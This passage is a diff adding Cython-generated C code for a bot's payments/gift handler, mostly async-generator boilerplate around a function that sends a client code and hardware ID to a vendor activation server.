+ __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_15 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L41_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_15; + __pyx_cur_scope->__pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_t_23); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_23 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + } + __pyx_r = __pyx_t_22; + __pyx_t_22 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_20, __pyx_t_21); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_17, __pyx_t_16); + __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + goto __pyx_L20_try_return; + } + __pyx_L26:; + } + goto __pyx_L42; + __pyx_L22_error:; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + goto __pyx_L16_error; + __pyx_L42:; + } + + /* "handlers/payments/gift.py":200 + * + * try: + * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + */ + } + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + goto __pyx_L21_try_end; + __pyx_L16_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_Pack(3, __pyx_t_11, __pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_1, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L46_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_15); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L18_except_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_15 = __pyx_t_1; + __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (__pyx_t_5 < 0) __PYX_ERR(0, 200, __pyx_L18_except_error) + __pyx_t_6 = (!__pyx_t_5); + if (unlikely(__pyx_t_6)) { + __Pyx_GIVEREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ErrRestoreWithState(__pyx_t_11, __pyx_t_2, __pyx_t_3); + __pyx_t_11 = 0; __pyx_t_2 = 0; __pyx_t_3 = 0; + __PYX_ERR(0, 200, __pyx_L18_except_error) + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L17_exception_handled; + } + __pyx_L18_except_error:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + goto __pyx_L5_error; + __pyx_L20_try_return:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + goto __pyx_L13_return; + __pyx_L17_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); + __pyx_L21_try_end:; + } + } + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_10) { + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_14); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 8; + return __pyx_r; + __pyx_L47_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_14); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L5_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + } + __pyx_t_14 = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + goto __pyx_L15; + } + __pyx_L13_return: { + __Pyx_PyThreadState_assign + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_15, &__pyx_t_21, &__pyx_t_20); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_15); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_19 = __pyx_r; + __pyx_r = 0; + if (__pyx_t_10) { + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 9; + return __pyx_r; + __pyx_L48_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_21); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L5_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + } + __pyx_t_16 = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __pyx_r = __pyx_t_19; + __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_15); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_15, __pyx_t_21, __pyx_t_20); + } + __Pyx_XGIVEREF(__pyx_t_14); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ErrRestore(__pyx_t_14, __pyx_t_13, __pyx_t_12); + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + goto __pyx_L9_try_return; + } + __pyx_L15:; + } + goto __pyx_L49; + __pyx_L11_error:; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L5_error; + __pyx_L49:; + } + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":213 + * else: + * return False + * except Exception: # <<<<<<<<<<<<<< + * return False + */ + __pyx_t_24 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_24) { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11) < 0) __PYX_ERR(0, 213, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_11); + + /* "handlers/payments/gift.py":214 + * return False + * except Exception: + * return False # <<<<<<<<<<<<<< + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L9_try_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L10_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_AddTraceback("validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler}, + {Py_tp_traverse, (void 